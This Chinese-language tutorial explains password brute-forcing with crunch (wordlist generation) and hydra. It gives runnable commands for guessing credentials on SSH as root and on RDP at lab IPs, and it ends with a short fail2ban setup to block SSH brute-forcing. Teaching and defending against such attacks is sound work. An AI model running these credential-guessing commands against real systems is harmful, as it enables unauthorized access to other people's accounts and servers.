Step1:使用crunch生成字典
本例密码为pwd@123,为了减小字典的大小和破解速度,使用crunch 6 7 pwd@123456789生成字典passwd.txt
Step2:使用hydra进行暴力破解
Step3:破解完成后如下图
crunch <min-len> <max-len> [<charset string>] [options]
参数:
min-len crunch要开始的最小长度字符串。即使不使用参数的值,也需要此选项
max-len crunch要开始的最大长度字符串。即使不使用参数的值,也需要此选项
charset string 在命令行使用crunch你可能必须指定字符集设置,否则将使用缺省的字符集设置。缺省的设置为小写字符集,大写字符集,数字和特殊字符(符号),如果不按照这个顺序,你将得到自己指定结果。必须指定字符类型或加号的值。注意:如果你想在你的字符集中包含空格特征,你必须使用“\”字符或用引号括起来你的字符集,例如"abc "。见示例3,11,12,和13。如果有“+”指定,则后续格式中出现的类型从其中取值!
-c 数字 指定写入输出文件的行数,也即包含密码的个数
-d 数字符号,限制出现相同元素的个数(至少出现元素个数),“-d 2@”限制小写字母输出像aab和aac,aaa不会产生,因为这是连续3个字母,格式是数字+符号,数字是连续字母出现的次数,符号是限制字符串的字符,例如@,%^(“@”代表小写字母,“,”代表大写字符,“%”代表数字,“^”代表特殊字符)(限制每个密码至少出现几种字符)
-e 字符串,定义停止生成密码 ,比如-e 222222:到222222停止生成密码
-f /path/to/charset.lst charset-name,从charset.lst指定字符集,也即调用密码库文件。
-i 改变出格式。例如将格式aaa,aab,aac,aad,更换为格式aaa,baa,caa,daa,aba,bba等
-o wordlist.txt,指定输出文件的名称,例如wordlist.txt
-p 字符串 或者-p 单词1 单词2 ...以排列组合的方式来生成字典。
-q filename.txt,读取filename.txt
-
-t @,%^,指定模式,@,%^分别代表意义如下:
- @ 插入小写字母
- , 插入大写字母
- % 插入数字
- ^ 插入特殊符号
例:crunch 7 7 -t pwd%%%% -o passwd.txt
生成最大位数为7,以pwd开头的密码,后部以数字结尾
hydra的用法
参数详解:
-R 根据上一次进度继续破解
-S 使用SSL协议连接
-s 指定端口
-l 指定用户名
-L 指定用户名字典(文件)
-p 指定密码破解
-P 指定密码字典(文件)
-e 空密码探测和指定用户密码探测(ns)
-C 用户名可以用:分割(username:password)可以代替-l username -p password
-o 输出文件
-t 指定多线程数量,默认为16个线程
-vV 显示详细过程
server 目标IP
例:
hydra 10.10.1.10 ssh -l root -P /root/kali/passwd.txt -t 6 -v -f //暴力破解ssh
root@kali:~/kali# hydra 10.10.1.1 rdp -l networking -P passwd.txt -V //暴力破解rdp
Hydra主要支持破解以下协议的登陆账号和密码:
Supported services: asterisk cisco cisco-enablecvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxyhttp-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssqlmysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdpredis rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkeyteamspeak telnet[s] vmauthd vnc xmpp
Step4:Linux防止SSH暴力破解
使用fail2ban
git clone https://github.com/fail2ban/fail2ban.git
cd fail2ban
python setup.py install
cp files/redhat-initd /etc/init.d/fail2ban
chkconfig --add fail2ban
/etc/init.d/fail2ban start
vi /etc/fail2ban/jail.conf